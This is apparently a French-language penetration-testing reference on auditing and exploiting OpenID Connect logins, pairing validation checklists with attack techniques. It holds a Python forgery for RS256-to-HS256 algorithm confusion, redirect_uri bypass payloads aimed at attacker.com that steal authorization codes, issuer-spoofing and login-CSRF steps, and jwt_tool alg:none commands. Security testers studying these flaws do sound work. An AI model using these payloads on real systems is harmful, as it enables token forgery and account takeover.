---
title: "OpenID Connect — Audit & Exploitation"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [oidc, openid-connect, oauth, jwt, sso, authentication, web]
difficulty: advanced
status: stable
updated: "Sat May 30 2026 00:00:00 GMT+0000 (Coordinated Universal Time)"
---
## OIDC vs OAuth 2.0

```
OAuth 2.0    → Délégation d'AUTORISATION (accéder à une ressource)
OpenID Connect → Couche d'AUTHENTIFICATION sur OAuth 2.0
               → "Qui es-tu ?" via un ID Token (JWT)
```

### Composants OIDC
```
Relying Party (RP) = Application cliente
OpenID Provider (OP) = Serveur d'identité (Google, Azure AD, Keycloak)
ID Token = JWT signé contenant l'identité de l'utilisateur
UserInfo endpoint = endpoint renvoyant les claims utilisateur
```

---

## Flux Authorization Code (PKCE)

```
1. RP → OP : GET /authorize
   ?response_type=code
   &client_id=CLIENT_ID
   &redirect_uri=https://app.com/callback
   &scope=openid profile email
   &state=RANDOM_STATE
   &nonce=RANDOM_NONCE        ← Protection replay attacks
   &code_challenge=PKCE_HASH  ← PKCE (protection interception)
   &code_challenge_method=S256

2. OP → Utilisateur : page de login

3. Utilisateur → OP : credentials

4. OP → RP : 302 redirect
   https://app.com/callback?code=AUTH_CODE&state=RANDOM_STATE

5. RP → OP : POST /token
   grant_type=authorization_code
   &code=AUTH_CODE
   &redirect_uri=https://app.com/callback
   &code_verifier=PKCE_VERIFIER

6. OP → RP : {
     "access_token": "...",
     "id_token": "eyJ...",     ← JWT signé
     "token_type": "Bearer",
     "expires_in": 3600
   }

7. RP → OP : GET /userinfo
   Authorization: Bearer ACCESS_TOKEN
```

---

## ID Token — Structure JWT

```
Header : {"alg": "RS256", "kid": "key-id"}
Payload : {
  "iss": "https://accounts.google.com",   // Issuer
  "sub": "1234567890",                     // Subject (user ID)
  "aud": "client_id",                      // Audience
  "exp": 1716739200,                       // Expiration
  "iat": 1716735600,                       // Issued At
  "nonce": "RANDOM_NONCE",                 // Anti-replay
  "email": "user@example.com",
  "email_verified": true,
  "name": "John Doe",
  "picture": "https://..."
}
```

### Validation obligatoire côté RP
```
□ Vérifier la signature (clés JWKS de l'OP)
□ Vérifier iss = issuer attendu
□ Vérifier aud = client_id de l'application
□ Vérifier exp > now()
□ Vérifier nonce = nonce envoyé initialement
□ Vérifier at_hash si access_token présent
```

---

## Vulnérabilités OIDC

### 1. Validation du nonce absente → Replay Attack
```
Scénario :
  Intercepter un ID Token valide d'une session précédente
  Le rejouer si le serveur ne vérifie pas le nonce

Test :
  Réutiliser un ancien ID Token après déconnexion
  → Si accepté : nonce non vérifié

Impact : Usurpation de session
```

### 2. Validation de l'issuer (iss) absente
```
Scénario :
  OP malveillant émet un ID Token avec sub valide
  L'application ne vérifie pas iss

Exploitation :
  Créer un compte sur evil-op.com avec sub=admin_user_id
  Soumettre l'ID Token à l'application cible

Test :
  Modifier iss dans le JWT → si accepté, vulnérable
```

### 3. Confusion d'audience (aud)
```
Scénario :
  ID Token destiné à App A utilisé contre App B
  App B ne vérifie pas que aud = son propre client_id

Test :
  Obtenir un token valide pour App A
  Soumettre à App B
  → Si accepté : confusion d'audience
```

### 4. Algorithm Confusion (RS256 → HS256)
```python
# Si le serveur accepte HS256 alors que configuré RS256 :
# Signer le JWT avec la clé publique RS256 comme secret HS256

import jwt, requests

# Récupérer la clé publique JWKS
r = requests.get('https://op.target.com/.well-known/jwks.json')
public_key = extract_public_key(r.json())

# Forger token HS256 signé avec clé publique RSA
forged = jwt.encode(
    {"sub": "admin", "iss": "https://op.target.com", "aud": "client_id"},
    public_key,
    algorithm="HS256"
)
```

### 5. State parameter manquant → CSRF sur le flux OAuth
```
# Sans state validé, l'attaquant peut forcer une liaison de compte

# Exploit :
1. Initier un flux OIDC → obtenir le code AUTH_CODE
2. Stopper avant la redirection
3. Faire cliquer la victime sur :
   https://app.com/callback?code=ATTACKER_CODE&state=...
4. La session victime lie le compte de l'attaquant
→ Account takeover
```

### 6. redirect_uri non validé
```bash
# Tester des variations
redirect_uri=https://attacker.com
redirect_uri=https://app.com@attacker.com
redirect_uri=https://app.com.attacker.com
redirect_uri=https://app.com/callback/../../../attacker/path

# Si accepté → code d'autorisation envoyé à l'attaquant
```

### 7. Sub claim prévisible ou réutilisable
```
# Si sub = email ou identifiant devinable :
# Créer un compte avec sub correspondant à une victime
# sur un autre OP accepté par l'application (IdP confusion)
```

---

## Découverte OIDC — Endpoints

```bash
# Discovery document (RFC 8414)
curl https://op.target.com/.well-known/openid-configuration

# Réponse contient :
{
  "issuer": "https://op.target.com",
  "authorization_endpoint": "https://op.target.com/oauth/authorize",
  "token_endpoint": "https://op.target.com/oauth/token",
  "userinfo_endpoint": "https://op.target.com/oauth/userinfo",
  "jwks_uri": "https://op.target.com/.well-known/jwks.json",
  "scopes_supported": ["openid", "profile", "email"],
  "response_types_supported": ["code", "token", "id_token"],
  "grant_types_supported": ["authorization_code", "implicit"]
}

# Clés publiques JWKS
curl https://op.target.com/.well-known/jwks.json
```

---

## Checklist d'audit OIDC

```
□ Discovery document exposé et conforme
□ PKCE obligatoire pour clients publics
□ state validé (anti-CSRF)
□ nonce validé (anti-replay)
□ redirect_uri strict (pas de wildcard)
□ iss vérifié dans l'ID Token
□ aud vérifié dans l'ID Token
□ exp vérifié et délai court (< 1h)
□ Signature RS256 vérifiée (alg not accepted: none, HS256)
□ Algorithme fixé côté serveur (pas depuis le header JWT)
□ Token_endpoint accessible uniquement depuis backend (pas depuis JS)
□ Refresh token rotation activée
□ Révocation de token implémentée (/revoke endpoint)
```

---

## Outils de test

```bash
# jwt_tool — manipulation de tokens JWT/OIDC
python3 jwt_tool.py TOKEN -T  # tamper mode
python3 jwt_tool.py TOKEN -X a  # alg:none
python3 jwt_tool.py TOKEN -X k  # key confusion RS256→HS256

# Burp Suite extensions
# → JWT Editor : modifier/resignter les tokens
# → OIDC Scanner : découverte et test automatique

# oauth2-proxy test
curl -v "https://target.com/callback?code=TEST&state=INVALID"
# Observer si state validé
```
